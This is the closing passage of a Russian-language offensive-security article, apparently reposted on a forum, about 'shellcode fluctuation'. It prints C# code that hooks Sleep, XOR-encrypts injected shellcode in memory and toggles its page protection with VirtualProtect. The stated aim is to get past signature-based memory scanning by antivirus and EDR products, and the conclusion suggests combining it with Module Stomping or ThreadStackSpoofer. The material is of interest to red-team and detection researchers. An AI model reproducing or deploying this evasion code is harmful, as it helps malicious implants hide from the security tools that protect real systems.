        XorMemory();
        sleepOrig(dwMilliseconds);
        XorMemory();
        ProtectMemory(DI.Data.Win32.WinNT.PAGE_EXECUTE_READ);
    }
    void ProtectMemory(uint newProtect)
    {
        if (Win32.VirtualProtect(shellcodeAddress, (uint)shellcodeLength, newProtect, out _))
            Console.WriteLine("(FluctuateShellcodeMiniHook) [DEBUG] Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.ToInt64()) + $" to {newProtect}");
        else
            throw new Exception("(FluctuateShellcodeMiniHook) [-] VirtualProtect");
    }
    void XorMemory()
    {
        byte[] data = new byte[shellcodeLength];
        Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength);
        for (var i = 0; i < data.Length; i++) data[i] ^= xorKey[i];
        Marshal.Copy(data, 0, shellcodeAddress, data.Length);
    }
    byte[] GenerateXorKey()
    {
        Random rnd = new Random();
        byte[] xorKey = new byte[shellcodeLength];
        rnd.NextBytes(xorKey);
        return xorKey;
    }
}

ВЫВОДЫ​

Мы разобрали базовые основы техники Inline API Hooking и портировали инжектор флуктуирующего шелл‑кода на C# для обхода сигнатурного сканирования памяти.

Замечу, что разобранный код все еще остается «доказательством концепции» и не стоит ожидать от него волшебных возможностей обхода зрелых AV и EDR прямо «из коробки» (все же мы использовали наиболее банальную технику инжекта). Можешь обратить внимание на более продвинутые техники инжекта шелл‑кода, как, например, Module Stomping или ThreadStackSpoofer, и комбинировать их с техникой флуктуирующего шелл‑кода.

Автор snovvcrash
xakep.ru/2022/06/17/shellcode-fluctuation/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх